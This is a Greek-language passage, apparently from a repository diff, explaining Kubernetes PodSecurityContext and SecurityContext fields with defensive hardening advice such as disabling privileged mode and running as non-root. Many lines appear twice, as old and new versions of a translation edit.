| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Περισσότερες πληροφορίες σχετικά με</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Οι sysctls περιέχουν μια λίστα με **namespaced sysctls που χρησιμοποιούνται για το pod**. Pods με μη υποστηριζόμενα sysctls (από τον χρόνο εκτέλεσης του κοντέινερ) μπορεί να αποτύχουν να εκκινήσουν. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Οι ρυθμίσεις που σχετίζονται με τα Windows που εφαρμόζονται σε όλα τα κοντέινερ. Αν δεν καθοριστεί, οι επιλογές εντός του SecurityContext ενός κοντέινερ θα χρησιμοποιηθούν. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Μια λίστα με **ομάδες που εφαρμόζονται στη διαδικασία που εκτελείται πρώτη σε κάθε κοντέινερ**, εκτός από το κύριο GID του κοντέινερ. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Περισσότερες πληροφορίες σχετικά με</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Οι sysctls περιέχουν μια λίστα με **namespaced sysctls που χρησιμοποιούνται για το pod**. Τα pods με μη υποστηριζόμενα sysctls (από τον χρόνο εκτέλεσης του κοντέινερ) ενδέχεται να αποτύχουν να εκκινηθούν. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Οι ρυθμίσεις που σχετίζονται με τα Windows που εφαρμόζονται σε όλα τα κοντέινερ. Εάν δεν καθοριστεί, οι επιλογές εντός του SecurityContext ενός κοντέινερ θα χρησιμοποιηθούν. |
|
||||
|
||||
## SecurityContext
|
||||
|
||||
[**Από τα έγγραφα:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
Αυτό το context ρυθμίζεται μέσα στις **ορισμούς κοντέινερ**. Από την άποψη της αμυντικής ασφάλειας, θα πρέπει να εξετάσετε:
|
||||
Αυτό το context ορίζεται μέσα στις **ορισμούς κοντέινερ**. Από την άποψη της αμυντικής ασφάλειας, θα πρέπει να εξετάσετε:
|
||||
|
||||
- **allowPrivilegeEscalation** να είναι **False**
|
||||
- Μην προσθέτετε ευαίσθητες **capabilities** (και αφαιρέστε αυτές που δεν χρειάζεστε)
|
||||
- **privileged** να είναι **False**
|
||||
- Αν είναι δυνατόν, ρυθμίστε το **readOnlyFilesystem** ως **True**
|
||||
- Ρυθμίστε το **runAsNonRoot** σε **True** και ρυθμίστε ένα **runAsUser**
|
||||
- Αν είναι δυνατόν, εξετάστε το **περιορισμό** των **δικαιωμάτων** υποδεικνύοντας **seLinuxOptions** και **seccompProfile**
|
||||
- Εάν είναι δυνατόν, ρυθμίστε το **readOnlyFilesystem** ως **True**
|
||||
- Ρυθμίστε το **runAsNonRoot** σε **True** και ορίστε ένα **runAsUser**
|
||||
- Εάν είναι δυνατόν, εξετάστε το ενδεχόμενο **περιορισμού** των **δικαιωμάτων** υποδεικνύοντας **seLinuxOptions** και **seccompProfile**
|
||||
- Μην δίνετε **privilege** **group** πρόσβαση μέσω **runAsGroup.**
|
||||
|
||||
Σημειώστε ότι τα χαρακτηριστικά που ρυθμίζονται σε **τόσο SecurityContext όσο και PodSecurityContext**, η τιμή που καθορίζεται στο **SecurityContext** έχει **προτεραιότητα**.
|
||||
Σημειώστε ότι τα χαρακτηριστικά που ορίζονται σε **τόσο SecurityContext όσο και PodSecurityContext**, η τιμή που καθορίζεται στο **SecurityContext** έχει **προτεραιότητα**.
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** ελέγχει αν μια διαδικασία μπορεί να **κερδίσει περισσότερα δικαιώματα** από τη γονική διαδικασία της. Αυτό το bool ελέγχει άμεσα αν η σημαία no_new_privs θα ρυθμιστεί στη διαδικασία του κοντέινερ. AllowPrivilegeEscalation είναι πάντα αληθές όταν το κοντέινερ εκτελείται ως **Privileged** ή έχει **CAP_SYS_ADMIN** |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** ελέγχει εάν μια διαδικασία μπορεί να **κερδίσει περισσότερα δικαιώματα** από τη γονική διαδικασία της. Αυτό το bool ελέγχει άμεσα εάν η σημαία no_new_privs θα ρυθμιστεί στη διαδικασία του κοντέινερ. AllowPrivilegeEscalation είναι πάντα αληθές όταν το κοντέινερ εκτελείται ως **Privileged** ή έχει **CAP_SYS_ADMIN** |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Περισσότερες πληροφορίες σχετικά με</em> <em><strong>Capabilities</strong></em></p> | Οι **ικανότητες που προστίθενται/αφαιρούνται κατά την εκτέλεση κοντέινερ**. Προεπιλογή είναι το προεπιλεγμένο σύνολο ικανοτήτων. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Εκτελέστε το κοντέινερ σε προνομιακή λειτουργία. Οι διαδικασίες σε προνομιακά κοντέινερ είναι ουσιαστικά **ισοδύναμες με root στον host**. Προεπιλογή είναι false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount δηλώνει τον **τύπο του proc mount που θα χρησιμοποιηθεί για τα κοντέινερ**. Η προεπιλογή είναι DefaultProcMount που χρησιμοποιεί τις προεπιλεγμένες ρυθμίσεις του χρόνου εκτέλεσης για αναγνώσιμες διαδρομές και κρυμμένες διαδρομές. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Αν αυτό το **κοντέινερ έχει ένα μόνο αναγνώσιμο root filesystem**. Η προεπιλογή είναι false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | Η **GID για να εκτελέσει το entrypoint** της διαδικασίας του κοντέινερ. Χρησιμοποιεί την προεπιλεγμένη ρύθμιση χρόνου εκτέλεσης αν δεν ρυθμιστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Υποδεικνύει ότι το κοντέινερ πρέπει να **εκτελείται ως μη ρίζα χρήστη**. Αν είναι αληθές, ο Kubelet θα επικυρώσει την εικόνα κατά τη διάρκεια της εκτέλεσης για να διασφαλίσει ότι δεν εκτελείται ως UID 0 (root) και θα αποτύχει να ξεκινήσει το κοντέινερ αν το κάνει. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | Η **UID για να εκτελέσει το entrypoint** της διαδικασίας του κοντέινερ. Προεπιλογή είναι ο χρήστης που καθορίζεται στα μεταδεδομένα της εικόνας αν δεν καθοριστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Περισσότερες πληροφορίες σχετικά με</em> <em><strong>seLinux</strong></em></p> | Το **SELinux context που θα εφαρμοστεί στο κοντέινερ**. Αν δεν καθοριστεί, ο χρόνος εκτέλεσης του κοντέινερ θα εκχωρήσει ένα τυχαίο SELinux context για κάθε κοντέινερ. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | Το procMount δηλώνει τον **τύπο του proc mount που θα χρησιμοποιηθεί για τα κοντέινερ**. Η προεπιλογή είναι DefaultProcMount που χρησιμοποιεί τις προεπιλεγμένες ρυθμίσεις του χρόνου εκτέλεσης για αναγνώσιμες διαδρομές και κρυμμένες διαδρομές. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Εάν αυτό το **κοντέινερ έχει ένα σύστημα αρχείων ρίζας μόνο για ανάγνωση**. Η προεπιλογή είναι false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | Το **GID για να εκτελέσει το entrypoint** της διαδικασίας του κοντέινερ. Χρησιμοποιεί την προεπιλεγμένη ρύθμιση χρόνου εκτέλεσης εάν δεν ρυθμιστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Υποδεικνύει ότι το κοντέινερ πρέπει να **εκτελείται ως μη ριζικός χρήστης**. Εάν είναι αληθές, ο Kubelet θα επικυρώσει την εικόνα κατά τη διάρκεια της εκτέλεσης για να διασφαλίσει ότι δεν εκτελείται ως UID 0 (root) και θα αποτύχει να ξεκινήσει το κοντέινερ εάν το κάνει. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | Το **UID για να εκτελέσει το entrypoint** της διαδικασίας του κοντέινερ. Προεπιλογή είναι ο χρήστης που καθορίζεται στα μεταδεδομένα της εικόνας εάν δεν καθοριστεί. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Περισσότερες πληροφορίες σχετικά με</em> <em><strong>seLinux</strong></em></p> | Το **SELinux context που θα εφαρμοστεί στο κοντέινερ**. Εάν δεν καθοριστεί, ο χρόνος εκτέλεσης του κοντέινερ θα εκχωρήσει ένα τυχαίο SELinux context για κάθε κοντέινερ. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | Οι **seccomp επιλογές** που θα χρησιμοποιηθούν από αυτό το κοντέινερ. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Οι **ρυθμίσεις που σχετίζονται με τα Windows** που εφαρμόζονται σε όλα τα κοντέινερ. |
|
||||
|
||||
|
||||
Reference in New Issue
Block a user